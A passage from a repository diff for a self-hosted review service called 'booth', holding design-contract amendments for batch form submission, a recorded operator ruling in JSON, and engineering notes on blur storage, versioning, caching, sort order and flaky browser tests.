| new: tests/mutations/r3.toml | — | rows for: the side-keyed region ids, the conjunction 404, `back=compare`'s ring check, the linked distance, the synced-pan loop guard, the `data-booth` attribute, the `cmp-reveal` Reveal-all rule | the r3 falsifiers |
**The gate for the refactor is the TABLE, not only the suite:**
`scripts/mutation_check.py tests/mutations/r2c.toml` (and r2b.toml) with every
row falsifying after the move. A green r2c browser suite proves the behaviour
survived. The table proves the tests still bind to the code that moved
(booth-dev, S8).
## Out of scope
- Detecting pairs from filenames (ruled out: 1 of 26 live booths pairs by a name rule, and none of sindra-h2h does).
- An A-better / same / B-better record (ruled: parked). If it is ever ruled in, it is a new mark keyed by an ORDERED pair of rels, in booth-dev's storage, with the JSON sessions read stated (booth-dev's note).
- A zoom between Fit and 1:1, wheel zoom, and pinch (parked into r3 by r2c; parked again here: compare works at Fit and 1:1, and a third level is its own unit if the operator asks for it).
- Three or more panes, onion-skin or swipe overlays, and a difference view.
- Synced playback of two videos or two tracks (each stage plays on its own).
- A grid multi-select to start a compare from the lightbox (the review's `C` and the picker strip cover picking).
- Comparing across booths.
@@ -235,6 +235,86 @@ It is three lines, it costs nothing, and the sensitivity floor of that probe is
guards against is a form the operator fills in whose controls reach no form,
so the button does nothing.
## Submitting several asks at once (amended 2026-09-27)
**The defect.** One pick is one `<form>` is one POST to `/answer`, and that
POST 303s back to the page. On a report carrying several picks, a submit sent
exactly ONE of them, and the reload that followed wiped every pick the operator
had made in the others. His report, relayed by infra-ops: *"I go through, submit
a question and it only submits the last one and clears out the top ones."*
Confirmed against the live `auk-audition` booth (three single-question picks,
no anchors, so all three in the tail) before any code: the access log shows one
POST at 15:02:23 that saved the LAST pick on the page, the reload, then a 400
four seconds later — the submit of a pick the reload had just blanked — and the
other two re-answered one at a time. **The server is not the defect**: every
POST did exactly what `/answer` promises. The page gave him one button per
form and no way to send them together.
**The rule.** embed.js listens for `submit` on the forms IT mounted (never an
author's form). A form is **dirty** when any control it owns — `form.elements`,
which includes every control bound to it by `form=` wherever it sits — differs
from its server-rendered default: a radio or checkbox whose `checked` differs
from `defaultChecked`, a textarea or text input whose `value` differs from
`defaultValue`.
```
submit on one of our forms F:
a batch is in flight -> preventDefault; nothing else (never the
browser's POST racing the batch)
no OTHER of our forms is dirty -> do nothing; the browser's own POST and 303,
exactly as before this amendment
otherwise -> preventDefault, and send EVERY dirty form of
ours, F included only if F is dirty
send: one POST per form, to that form's own action, carrying that form's own
FormData read AT THE PRESS, with `Accept: application/json` (the
route's 204, r2 C3), one after another, in DOCUMENT ORDER of the <form>
elements. A refused form does not stop the ones after it. A form the
server took (204) gets a new baseline: what it sent. From then on it is
dirty only if it differs from THAT.
then: no refusal AND nothing -> reload the page (a GET), so what shows is
of ours is dirty the server's record
otherwise -> NO reload. The pressed form's submit block
(a refusal, or a change says how many saved and what did not, with
made during the flight) the server's reason, and everything the
operator entered stays on the page.
A refusal blocks the reload ON ITS OWN: a refused form set back to its
first value reads clean, and "nothing dirty" alone reloaded over it.
```
Five consequences, each deliberate:
- **A blank pick is skipped, never refused.** A pick with nothing entered is not
dirty and is not sent, so pressing its button no longer produces the 400 page
the log shows. Blanks stay legal, as `build_answer` has held since 2026-09-09.
- **A pick nobody touched is not re-sent — including the one whose button was
pressed, and including one this page already saved.** Re-sending an answer
re-dates it, and a reading session would see a fresh answer that nobody gave.
The moved baseline is what keeps a retry after a partial refusal to exactly
the picks that did not save; it also means correcting a saved pick back to
its first-rendered value counts as a change and is sent.
- **One refused pick costs only itself.** A pick withdrawn or re-declared while
the page was open is refused (404 / 400); the rest are saved regardless. This
is the partial-answer ruling's reasoning applied one level up: refusing
everything because one was stale throws away the ones that were made.
- **The page is reloaded only when nothing would be lost by it.** The page
stays live while the batch is in flight; a pick made or a note typed in that
window is unsaved input, and a reload would clear it — the exact loss this
amendment exists to stop. So the reload waits on "every POST succeeded" AND
"nothing of ours is dirty" — each on its own. The saved picks' tags stay stale until he
reloads, and the message says so. Nothing is ever re-sent without a fresh
press; a press after a lost response may re-send (and re-date) a pick that
did land, which is the price of never retrying on our own.
- **A press during the flight is ignored.** Checked before anything else, so a
press on a form with no other dirty form beside it cannot fall through to the
browser's POST while the batch runs.
**What it does not change.** `/answer`, its fields, its 204 and its 303 are
untouched: the server has no batch endpoint and no new request shape. A page
whose only dirty form is the pressed one gets the plain form submission,
byte-identical to before. The status line is server-rendered, empty and
`hidden` in the `submit` macro; the script only sets its text, so embed.js
still renders no markup of an ask.
**Step 5 deletes an element.** Today `inject_asks` injects `<a id="bk-ask-<id>-top">`
before the first fragment of each pick so the chip has somewhere to jump. The
fragments already carry ids; document order in a live DOM is directly queryable;
@@ -336,6 +416,32 @@ rather than strict.
and `test_partially_marked_page_still_shows_every_question` fails in the browser
with 2 of 4 radio groups present.
**INV-8 — One submit saves every pick on the page the operator changed
(amended 2026-09-27).** Per "Submitting several asks at once": every dirty form
of ours is sent, in document order; a clean one never is, nor a saved one
again; a refused one stops nothing; the page reloads only when nothing was
refused and nothing of ours is left unsaved; a press during the flight is ignored; and with no other dirty
form the submit is the browser's own.
*Falsifiable*, one change per clause, each in `tests/mutations/u3_submit_all.toml`:
send only the pressed form and
`test_one_submit_saves_every_answered_ask_on_the_page` fails; send the pressed
form whether or not it is dirty and `test_a_blank_ask_is_skipped_never_refused`
fails; send every form regardless and `test_an_ask_nobody_touched_is_not_re_sent`
fails; intercept a lone dirty form and `test_one_changed_ask_still_submits_as_a_plain_form`
fails; send in reverse and `test_the_asks_are_sent_in_document_order` fails;
stop at the first refusal, reload on one, or never show the status line, and
`test_a_refused_ask_costs_only_itself_and_clears_nothing` fails; listen to every
form on the page, or trust our id prefix without the mounted-root check, and
`test_an_authors_own_form_is_never_taken_over` fails; let a press in flight fall
through and `test_a_press_inside_the_flight_never_fires_a_native_post` fails;
reload when every POST succeeded regardless of what changed meanwhile and
`test_input_made_during_the_flight_is_kept_and_saved_on_the_next_press` fails;
leave a saved form's baseline where it was and
`test_a_retry_after_a_refusal_sends_only_what_did_not_save` fails; drop the
class-level `[hidden]` rule and `test_the_empty_status_line_stays_hidden_under_host_css`
fails; let "nothing dirty" alone decide the reload and
`test_a_refusal_blocks_the_reload_even_when_nothing_reads_dirty` fails.
## Out of scope (deferred or never)
Named so a reviewer does not read them as drift.
+218
View File
@@ -0,0 +1,218 @@
{
"booth": "booth-flow-concepts",
"mark": {
"id": "flow",
"shape": "pick",
"target": null,
"created": "2026-09-23T07:18:16.254321-07:00",
"declaration": {
"title": "The Booth — round 2: which flow gets built",
"questions": [
{
"key": "direction",
"prompt": "Which flow becomes the Booth?",
"options": [
{
"id": "a_b",
"label": "A + B's reel as the review mode",
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
},
{
"id": "a",
"label": "A — The Desk alone",
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
},
{
"id": "b",
"label": "B — The Reel",
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
},
{
"id": "c",
"label": "C — The Bench",
"detail": "compare-first; argued against as the default"
}
]
},
{
"key": "compare",
"prompt": "Compare mode (C as a view toggle):",
"options": [
{
"id": "this_arc",
"label": "Build it in this arc, after A/B land",
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
},
{
"id": "v11",
"label": "Leave it parked for v1.1",
"detail": "booth-dev's current plan"
}
]
},
{
"key": "voice",
"prompt": "The new copy I'll be writing — which voice?",
"options": [
{
"id": "plain",
"label": "Plain and direct",
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
},
{
"id": "deadpan",
"label": "SVOS deadpan villainy throughout",
"detail": "the full SVOS voice"
}
]
},
{
"key": "emblem",
"prompt": "The SVS emblem in the top bar?",
"options": [
{
"id": "no",
"label": "No",
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
},
{
"id": "yes",
"label": "Yes — the square emblem",
"detail": "brands the Booth as part of the SVOS suite"
}
]
}
],
"notes": true
},
"prompt": "The Booth — round 2: which flow gets built",
"title": "The Booth — round 2: which flow gets built",
"multi": true,
"questions": [
{
"key": "direction",
"prompt": "Which flow becomes the Booth?",
"options": [
{
"id": "a_b",
"label": "A + B's reel as the review mode",
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
},
{
"id": "a",
"label": "A — The Desk alone",
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
},
{
"id": "b",
"label": "B — The Reel",
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
},
{
"id": "c",
"label": "C — The Bench",
"detail": "compare-first; argued against as the default"
}
],
"notes": false
},
{
"key": "compare",
"prompt": "Compare mode (C as a view toggle):",
"options": [
{
"id": "this_arc",
"label": "Build it in this arc, after A/B land",
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
},
{
"id": "v11",
"label": "Leave it parked for v1.1",
"detail": "booth-dev's current plan"
}
],
"notes": false
},
{
"key": "voice",
"prompt": "The new copy I'll be writing — which voice?",
"options": [
{
"id": "plain",
"label": "Plain and direct",
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
},
{
"id": "deadpan",
"label": "SVOS deadpan villainy throughout",
"detail": "the full SVOS voice"
}
],
"notes": false
},
{
"key": "emblem",
"prompt": "The SVS emblem in the top bar?",
"options": [
{
"id": "no",
"label": "No",
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
},
{
"id": "yes",
"label": "Yes — the square emblem",
"detail": "brands the Booth as part of the SVOS suite"
}
],
"notes": false
}
],
"options": [],
"notes_enabled": true,
"notes_label": "notes",
"answer": {
"stem": "flow",
"title": "The Booth — round 2: which flow gets built",
"answers": {
"direction": {
"prompt": "Which flow becomes the Booth?",
"choice": "a_b",
"choice_index": 0,
"label": "A + B's reel as the review mode",
"notes": ""
},
"compare": {
"prompt": "Compare mode (C as a view toggle):",
"choice": "this_arc",
"choice_index": 0,
"label": "Build it in this arc, after A/B land",
"notes": ""
},
"voice": {
"prompt": "The new copy I'll be writing — which voice?",
"choice": "plain",
"choice_index": 0,
"label": "Plain and direct",
"notes": ""
},
"emblem": {
"prompt": "The SVS emblem in the top bar?",
"choice": "no",
"choice_index": 0,
"label": "No",
"notes": ""
}
},
"unanswered": [],
"complete": true,
"notes": "",
"answered_at": "2026-09-23T08:07:40-07:00",
"answered_by": "100.64.0.4"
},
"text": "",
"flagged": false,
"by": "",
"error": null
}
}
@@ -48,3 +48,22 @@ rules (position, alphabetical, count) disagree.
Whether it becomes `scripts/` is an open question for the operator — this repo
has now been bitten by vacuous falsifiers three times, and prose in a memory
file is not an instrument.
## A third way an instrument goes blind: `nth-child` vs `nth-of-type`
_Added 2026-09-23, credited to design-dev, who hit it in his R2 order check._
His layout check has a positive control — one tile given `order:-1` that the
check must catch. **The control went blind when group headers became grid
children**: `nth-child(5)` started landing on a header instead of the fifth
tile, so the control stopped controlling and the check kept reporting clean.
Same class as this file's other two, and the reason it belongs here: **a control
that no longer controls reads exactly like a passing test.** Nothing in the
output distinguishes "detected nothing because there was nothing" from
"detected nothing because I am aimed at the wrong element".
**The rule worth having written down:** use `nth-of-type` over `nth-child` for
any assertion that means *the Nth TILE* rather than *the Nth child element*.
The two agree right up until somebody adds a sibling of a different kind — and
adding a sibling is what a redesign is.
@@ -0,0 +1,72 @@
# v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies
_2026-09-22 · booth_
**All seven v1 units landed, so the operator cut `1.0.0b1`** — the first release
of the 1.x train, deliberately a BETA rather than a final. Tag `v1.0.0b1`,
annotated (milestone), commit `3126dec`.
**The beta is the right vehicle and not a hedge.** The canonical policy defines
`-beta.N` as feature-complete, external testing, no new features, focus on bugs
— which is exactly this state, with a cross-frontier bug-hunt panel outstanding
on U7's diff. This repo already paid for the alternative once:
[[2026-09-21-v020-tagged-with-a-gate-in-flight]] — v0.2.0 was tagged AND
announced while a panel was in flight, the panel found three defects in the
just-released code, and v0.2.1 shipped within the hour. **A beta is the designed
answer to that, not a workaround for it.**
## Version format, decided and worth not re-deriving
- `pyproject.toml` carries **`1.0.0b1`** — PEP 440, which is what the packaging
tool normalizes `1.0.0-beta.1` to anyway.
- The git tag is **`v1.0.0b1`**, matching the artifact string exactly rather
than carrying a SemVer spelling the wheel does not. One string, no translation
layer.
- Ordering verified: `0.6.1 < 1.0.0b1 < 1.0.0`.
## ⚠ The version was TWO copies, and the obvious fix was the wrong one
`booth.__version__` was the literal `"0.1.0"` and had been wrong through six
releases. Nothing reads it, which is why nobody noticed.
**The reflex fix — derive it from `importlib.metadata` — is WRONG HERE, and
measurably so.** This repo has no build step and no install step: `booth.service`
runs uvicorn with `WorkingDirectory` set to the tree, so the running code IS
this checkout. Installed metadata describes a different artifact. The venv was
carrying a vestigial `booth-0.3.0.dist-info` **with no package directory behind
it**, so `importlib.metadata.version("booth")` returned `0.3.0` for a tree at
`1.0.0b1` — confidently wrong, and varying by environment, which is worse than
a literal that at least fails the same way everywhere.
It now reads `pyproject.toml` via `tomllib`, with metadata as the fallback for
the wheel case this repo does not have. **The test asserts the ABSENCE OF A
LITERAL, not agreement with pyproject** — comparing the two would be circular
and would prove only that the read works. The defeating change is hardcoding a
number back in, and that is what is caught.
## ⚠ `booth/__init__.py` is a FOURTH stdlib-only module
`scripts/booth` imports `booth.links` / `booth.marks` / `booth.manifest` under
the SYSTEM python3 with no venv — and every one of those executes the package
root first. So a single third-party import in `__init__.py` breaks `booth ask`
on every fleet host exactly as one in the documented three would, and **nothing
asserted it.** `test_stdlib_only` now covers `__init__`; `tomllib` is stdlib and
`requires-python` is `>=3.11`, so the pyproject read is safe there. Verified by
running the real import chain under `/usr/bin/python3` 3.11.2 with no venv.
## Handoff sent
The SVOS design-system retrofit went to `design-dev` (althing thread
`01M369321KNBPZ7FYDQGZG7AXP`) — the IA is ours and settled, the visual and
interaction system is his. **ACCEPTED in-session within five minutes**; he
declined a `/vor-ui` brief on the grounds that the IA doc, the landed templates
and the seven constraints already are one, and a `/vor-ui` pass would cost the
operator a serial Q&A to re-derive IA we had already measured. Agreed.
⚠ **A `postbox send` note is a POINT-IN-TIME SNAPSHOT, not a durable fact about
a handle.** The send response said `design-dev: pull-only; last read
2026-09-21T18:44Z`, and this file first recorded that as standing truth —
including a "silence is not a decision" warning built on it. `postbox handles`
says **`design-dev push reachable`**, and his reply landed in-session. Read the
mode from `postbox handles` when it matters; never promote a send-time note into
memory.
@@ -0,0 +1,70 @@
# The blur round-trip, and the migration that recreated the bug it fixed
_2026-09-23 → 2026-09-24. Operator: "fix the blur." Commits `4cfbce5`,
`c1f5543` (merged `6880ab3`), `8a78a9b`._
## The defect
design-dev's r2b bug-hunt found the `/blur` route stripping `f`, so the form for
`" a.png"` blurred `"a.png"`. The route was only half of it: `.blurred` was one
stripped rel per line, so NO writer could store a rel with edge whitespace or a
newline. There were no live victims (6 legacy files, 42 rels, none with edge
whitespace; 0 live filenames with edge whitespace), so it was latent.
## Round 1 (`4cfbce5`)
- JSON array (the `.seen` shape) through a new stdlib-only `booth/blur.py`, so
the CLI and the service share one reader and one writer. The CLI had its own
grep/printf line writer, and after the format change it would have appended a
line to a JSON array.
- `Item.blurred_self` resolved in `booth_items` from the same read as
`blurred`, replacing build_gallery's second `read_blurred`. That was a
two-reads-of-one-file seam (invariant 3).
- Built in a git worktree, because `scripts/booth` imports from the deployment
root LIVE: a half-built blur.py would have broken `booth blur` for every
session mid-TDD.
## Round 2: heid bug-hunt (hulda, regin, kimi; groa timed out) → `c1f5543`
- **3/3: the migration recreated the bug.** JSON went into the OLD file name
and the reader sniffed the format. A legacy file whose one line is an item
named `["a.png"]` parses as JSON and blurs the neighbour. The docstring
claimed that case was handled, and it wasn't. Fix: a NEW name,
`.blurred.json`. The legacy `.blurred` is lines only, read only while
`.blurred.json` is absent, and retired by the first write.
- 2/3 + one: a planted directory 500'd the write path; the read path was
hardened and the writer was not. Fix: the writer is judged by its reader (a
postcondition), with BlurUnwritable answered as a 409.
- hulda (execution-verified): a lone surrogate `"\ud800"` in planted JSON made
every later write raise UnicodeEncodeError. Now dropped on read.
- 2/3: the writer had no size cap, and the reader reads an oversized file as
EMPTY. The writer now refuses first.
- 2/3: the CLI's `*..*` refused `a..b.png`, which the route accepted. There's
now one `check_rel` predicate for both, which also refuses an empty rel.
- kimi: `booth blur` without its package printed a bare traceback. It now
fails closed with exit 3, like `link`.
- Declined: the Item positional-constructor break (booth_items is the only
constructor, INV-1); the fdopen fd leak and the short read (not
constructible on a local fs, the `.seen` shape); unreadable reads as
revealed (blur is cosmetic, the `.seen` posture).
## Round 3: groa's late retry → `8a78a9b`
Its four bugs were the same four, already fixed. Its 0600 note ("a cross-uid
reader sees nothing and replaces it") exposed the real gap: `set_blurred`
built on `read_blurred`, the renderer's LENIENT reader, so an unreadable,
oversized or malformed file became an empty set and was overwritten. That is
the `.marks.json` wipe of 2026-09-21
([[2026-09-21-tolerant-writer-over-tolerant-reader]]), repeated in a new module
and live for one night. Fix: `_load` is one parse with two postures (strict
for the writer, lenient for the renderer). It refuses only for a REGULAR file
it cannot read, since a link, a directory or a FIFO holds no set to lose. The
file is 0644 again.
## Mutation notes
- `blur_storage.toml` is 25/25.
- One row was vacuous on its first run (`set() or X` is `X`).
- Two open-flag rows went vacuous once `_load` lstat-checked for a regular
file first. They're now proved by direct `_read_capped` tests, because they
still close the lstat-to-open race.
@@ -0,0 +1,42 @@
# Creation dates, and three guesses wearing a fact's clothes
_2026-09-23 · booth_
The operator asked for creation and update dates on booths. **Update** was
already there — `landed_at`, the newest mtime among CONTENT excluding our own
machinery. **Creation** had no honest source, and the interesting part is the
three wrong answers.
## Only 18 of 30 booths could state a creation time
`.booth.json` carries a declared `created`, but it exists only for booths posted
through the CLI since U5. Twelve live booths had nothing.
## ⚠ Every convenient substitute was a GUESS PRESENTED AS A FACT
- **Oldest content mtime** — wrong the moment an agent copies files with
timestamps preserved (`cp -p`, `rsync -a`), which is common. It would report
the SOURCE material's age as the booth's.
- **Directory mtime** — that is "last thing added", i.e. `landed_at` under a
second name. Two fields, one meaning, displayed as if they were different.
- **Stamp a first-seen marker on read** — and this is the one worth flagging,
because it is the same write-on-read shape that had *already* cost this
service an hour that same day when the thumbnail cache aged the booth it
cached ([[2026-09-23-the-cache-that-aged-the-thing-it-cached]]). A fix whose
shape you just finished paying for is not a fix.
## The answer was a fact the disk already held
**ext4 records a real birth time.** CPython does not expose `st_birthtime` on
Linux, but `statx(2)` does and glibc has wrapped it since 2.28, so
`booth/birthtime.py` reads it through `ctypes`. Verified against `stat(1)` on
live booths: **6 of 6 exact**, including every booth with no manifest.
One rule for all thirty, which is what invariant 6 asks of anything statable in
a line. `None` when the filesystem cannot say (tmpfs, NFS, an old kernel), and
**None renders as nothing** — a blank is the honest output when nobody knows,
and better than a plausible number.
**The generalisable bit:** when a fact seems unavailable, check whether the
system already records it before reaching for a proxy. Three plausible proxies
were considered and one was nearly built; the real answer was a syscall away.
@@ -0,0 +1,30 @@
# The Desk's "Everything else" sorts by last UPDATE, not last activity
_2026-09-23. Commit `64f6488`. Operator: "how is this last activity first?",
then "Easier — last activity can just be last time the booth was updated, not
necessarily operator's last activity."_
## What was wrong
- The section sorted by `_newest_mtime`, which counts `.viewed`. Every GET of a
booth, marks or review page records a look.
- Two sessions' post-deploy GET sweeps (17:48 and 21:46, both 127.0.0.1)
recorded a look at 22 booths within half a second. The section collapsed
into reverse name order through the `(mtime, name)` reverse tie-break.
- The rows show "updated X ago" (`landed_at`), a different clock from the sort.
- The same sweeps emptied "new since you looked". The access log showed 3
booths never opened from a 10.0.10.x or 100.64.x device: `dfa-landing`,
`ldp-polish`, `pewpew-ui-brief`.
- **The operator declined repairing `.viewed` from the log** (the mesh IPs
can't be attributed with certainty), and declined gating views on
`Sec-Fetch-Dest`. Both were offered.
## The fix
- `rest.sort(key=(-landed_at, name))`, labelled "last updated first".
- `list_booths` keeps its order for its other readers, and `_newest_mtime`
still feeds lifetime.
- The r2_flow contract (§3, the ordering table, INV-5) and the ROADMAP ordering
row were amended.
- CLAUDE.md "Working in here" now says how to check live without recording a
look.
@@ -0,0 +1,58 @@
# The browser suite is flaky under load — UNRESOLVED, and owned by design-dev
_2026-09-23 · booth_
⚠ **OPEN. Not fixed. Do not read a green suite as proof of anything without
re-running it.**
## What is observed, with its limits
**Three different browser tests** have each failed once under full-suite load
while passing repeatedly in isolation:
| test | owner | isolation | full suite |
|---|---|---|---|
| `test_the_keyboard_flag_actually_submits` | booth-dev | 5/5 pass | 1 failure |
| `test_a_failed_save_says_so_reloads_and_never_re_posts` | design-dev | 3/3 pass | 1 failure |
| `test_the_review_keys_judge_in_place_and_stay_out_of_the_note` | design-dev | 10/10 + 5/5 pass | 1 in ~9 |
Three different tests points at **the environment under contention**, not at any
one test. That is a direction, not a finding.
## Two real defects found chasing it — NEITHER PROVEN TO BE THE CAUSE
1. **A keypress race.** The flag test fired `ArrowRight` and `f` back to back,
assuming the first had finished — but `focus()` does a `scrollIntoView`, so
under load `f` could arrive with no cursor set. Now waits for
`figure.item.is-cursor`.
2. **A port TOCTOU in BOTH browser fixtures.** Each did `bind → getsockname →
CLOSE → hand uvicorn the port NUMBER`, leaving a window for the kernel to
give that port away — and this suite runs two browser files that each start a
server per test, so the competitor is the other file. The bound socket is now
passed to `server.run(sockets=[sock])`.
**Since those fixes: one failure in three full runs. n=3 CANNOT distinguish
that from the prior rate, and no claim of improvement is made.**
## Who owns it and what the method is
**The operator ruled: "let him diagnose it properly."** design-dev owns it. His
method: a trace hook keeping a Playwright trace (screenshots + DOM snapshots)
for every browser test that fails, captured **from the run that fails**, then
full-suite runs until red and the artefact decides. Test-only infra, on his
branch as its own commit.
⚠ **The methodological trap, and why the artefact must come from the full
suite:** the failure only reproduces there. A narrowed repro that passes proves
nothing and will be mistaken for a fix.
## Addendum 2026-09-24 — the offline fix, and what 0/24 can and cannot say
design-dev's suspect was Google Fonts stalling "networkidle". A stalled font
request reproduces the exact error (which shows sufficiency only). The fix
landed in `b92b002`: the test browser has no internet, with a positive control
per fixture. Traced runs: 0/15 (light) and 0/8 (heavy). No trace ever caught
the stalled request. Untraced after the fix: **0 reds in 24**, against a pre-fix
rate of 1 in 8 that is itself one red in eight runs (95% CI roughly 0.3–53%).
At a true rate of 1 in 20, 0/24 happens 29% of the time. So it's consistent
with the fix and not a confirmation of the cause.
@@ -0,0 +1,77 @@
# The bug-hunt panel found six defects and five vacuous falsifiers
_2026-09-23 · booth_
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, althing thread
`01M368G2Y0JMTJ2T7M3JMTXV5Z`. Landed at `397ea89`. **Four of the six fixes are
for defects no test in this repo could have caught**, and the guard-strength
sections did something the findings alone would not have.
## ⚠ The mechanic worth keeping: browsers match a fragment RAW FIRST
The group anchor and the tile id were BOTH the raw rel. That reads as "merely
unencoded" and it is not — it is **ambiguous**, because the HTML spec's
scroll-to-fragment tries an exact match on the raw fragment and only THEN on the
percent-decoded one. So with `a b.png` and `a%20b.png` in one booth, the first's
href resolves to the fragment `item-a%20b.png` and **the raw pass matches the
SECOND file's id.** The jump lands on the wrong artifact — invariant 6's
misfiled-judgment failure, arriving through a path invariant 6 never looked at.
**The fix has to move BOTH sides.** Encoding the anchor alone just relocates the
collision. Both now use `Item.url` (`quote(rel, safe="/")`), which is injective
here (`a b` → `a%20b`, `a%20b` → `a%2520b`) and is the convention `booth_flag`
has always used. The panel's agreed fix (`quote(name, safe='/')` on the anchor)
was half of it; the correction went back to them.
## The blast radius nobody had measured
**One non-UTF-8 filename 500s the INDEX for every booth**, not just its own
page. A 0xff byte reaches CPython as a surrogate, `quote` raises on it outside
any per-item handler, and `booth_items` feeds `list_booths` as well as the
gallery. Same shape as
[[2026-09-22-lenient-reader-blast-radius]]: the per-item read looks local and
is not. Such a file cannot be linked, served or zipped, so it is now skipped
like a dotfile.
## ⚠ FIVE VACUOUS FALSIFIERS IN ONE UNIT
The count that matters. Three arms **independently** found that
`test_every_group_anchor_lands_on_a_rendered_tile` survived `v[0]` → `v[-1]`:
it asserted the href occurred as SOME id on the page, which stays true while
pointing at the wrong one. Hulda's guard table added two more (the
informativeness guard survived `sizes[-1]`; the group count survived
`len(v) + 1`). Two more were mine, found after:
- the zero-hit filter test used the shared `gallery` fixture, which **has** a
flagged item — so it passed without ever reaching the empty-filter state it
names;
- the escaping test asserted over the whole page and went red on a **code
comment** containing the string it forbade.
**A guard-strength pass is the highest-value part of a panel on a well-tested
diff.** Regin's "unusually well-tested already" and Kimi's "the commentary was
accurate everywhere except where it didn't mention encoding at all" are both
true and point at the same thing: the findings were in the gaps the commentary
was confident about.
## Accepted known risks, documented rather than implied
- **No cap on rail row count.** 1,000 groups of two renders 1,000 rows and
passes the median guard. Largest live booth is 66 items; picking a cap without
a booth that needs one is the invented work the roadmap gate prevents.
- **`Item.group` sits mid-dataclass.** Two arms flagged the positional-construction
break and both correctly tagged it robustness with the caller outside the
bundle. **There is no such caller** — `Item(` appears at exactly one site,
keyword-only. Category-5 triage: not adopted, grep recorded.
## Held for design-dev, not fixed
`.rail` is sticky with no `scroll-margin`, so a fragment jump parks the target —
and the `:target` outline meant to show where it landed — UNDER the rail. Real,
one line, and in the stylesheet he is rewriting from scratch. Routed to him.
## Seat miss, reported back
Two arms flagged that Heid's canon G1 says Flask while the service is FastAPI —
carried from an earlier booth-round template. Hulda handled it by reading the
bundle rather than the canon.
@@ -0,0 +1,56 @@
# The cache that aged the thing it cached
_2026-09-23 · booth_
**Thumbnails: 77.5 MB → 0.78 MB on the biggest gallery, ~100 MB → 1.12 MB on
the Desk.** The operator found the defect in about a minute of using the live
redesign. Two lessons, and the second nearly shipped.
## ⚠ LESSON 1 — we parked it on a count and the cost was in the bytes
ROADMAP parked progressive loading on *"the largest gallery is 66 images; at
that size a lazy grid is almost certainly fine"*, and the parking-lot row said
*"270 `<img loading=lazy>` may be fine."* **Both count IMAGES. Neither weighs
BYTES.** 66 is a fine count sitting on 77.5 MB of 1024×1024 PNGs rendered at
250px — roughly 16× the pixels that reach the screen.
The rule "measure the real booth before optimising it" was followed and still
produced the wrong answer, because **we measured the dimension that was easy to
measure rather than the one that determines the experience.** Before parking
anything on a measurement again, ask what the user would actually feel.
## ⚠ LESSON 2 — a cache INSIDE the thing it describes can age it, and excluding the cache is not enough
`.thumbs/` lives inside the booth on purpose, so it is swept with the booth and
can never outlive what it describes. But `_newest_mtime` — which feeds
`is_expired`, which feeds `rmtree` — walks the booth, so **the server writing a
cache on a mere view counted as the operator touching the booth.**
**The first fix passed its own test and was still wrong.** Excluding every path
under `THUMB_DIR` does not help, because **creating the directory touches the
BOOTH DIRECTORY's own mtime**, and `_newest_mtime` SEEDS from exactly that. The
cache's contents were excluded; its *existence* was the leak.
The fix restores the booth's stamp across the `mkdir`. That cannot hide real
activity: any file an agent adds is counted by its own mtime in the same walk,
so the directory stamp is only a seed.
**The blast radius if it had reached the Desk.** The Desk pulls a preview
thumbnail per booth, so ONE INDEX LOAD would have pushed EVERY booth's expiry
out — the TTL would never fire again and nothing would ever sweep. Caught by
design-dev from the outside, hours before the strip landed; verified after the
fix on the live set: **29 booths, two Desk loads, 22 caches generated, 0 clocks
moved.**
`.viewed` counting as activity is different and deliberate — that is a record of
a *person* looking, which U4 says is activity. **A server-written derived cache
is machinery, like the `.lock` sidecars already excluded.** Any future cache
inherits this: exclude it from the clock AND preserve the parent's stamp.
## A third, smaller one: the dot-namespace was only skin deep
`booth_items` and `zip_booth` both tested `p.name.startswith(".")` — the FILE's
name — so `.thumbs/a.png` (name `a.png`) would have rendered as a gallery item
and shipped inside every zip download. CLAUDE.md invariant 2 promises a dotfile
costs nothing in item counts, galleries or zips; **that was true only at the top
level.** Both now skip every dot-prefixed path COMPONENT.
@@ -0,0 +1,68 @@
# The flow rulings, and what they cost the beta
_2026-09-23 · booth_
**All four ruled, all four taking design-dev's recommendation, no notes
attached.** Relayed via Miranda (D-0016) with the instruction that **the
operator will not brief design-dev directly and booth-dev is the SOLE RELAY.**
| question | choice | label |
|---|---|---|
| `direction` | `a_b` | A + B's reel as the review mode |
| `compare` | `this_arc` | Build it in this arc, after A/B land |
| `voice` | `plain` | Plain and direct |
| `emblem` | `no` | No |
Answered `2026-09-23T08:07:40-07:00`, `complete: true`, `unanswered: []`.
**Verbatim copy committed at `docs/rulings/2026-09-23-flow-direction.json`** —
see the durability note below for why that is not belt-and-braces.
## ⚠ ANSWERING A PICK REMOVES THE HOLD THAT WAS PROTECTING THE RECORD
U4's hold predicate is "has an open pick" — a booth waiting on the operator does
not sweep. **The moment he answers, it stops being held**, so a booth's
lifetime is shortest exactly when it has just become valuable: before the answer
it is a question, after the answer it is the RECORD OF A DECISION, and only the
first state is protected.
`booth-flow-concepts` held the ratified design AND the operator's recorded
answer, with `.forever=NO` and zero open picks — sweep-eligible within minutes
of the ruling. Same shape as round 1, arriving by a different route:
`booth-svos-retheme` lost its hold when design-dev WITHDREW his ask; this one
lost it when the operator ANSWERED. Two different actions, one exposure.
The durable copy now lives in git rather than in a booth. **This is not a bug
report against U4** — an answered question genuinely is not waiting on anyone —
but it is a real question about whether "held" is the right predicate for a
booth that has become a record. Flow and requirements are design-dev's now, so
it is his to weigh; raised to him rather than patched by us.
## What the rulings cost the version
**`v1.0.0b1` promised "feature-complete, no new features, the remaining work is
bugs."** A flow redesign plus compare mode is not that. Three things follow:
1. **The tag stays exactly as written.** It records what was believed on
2026-09-22, not a claim about today. Rewriting a released tag to flatter the
present is how a version stops being evidence.
2. **Dropping back to an alpha is NOT available.** `1.0.0a2` sorts BELOW
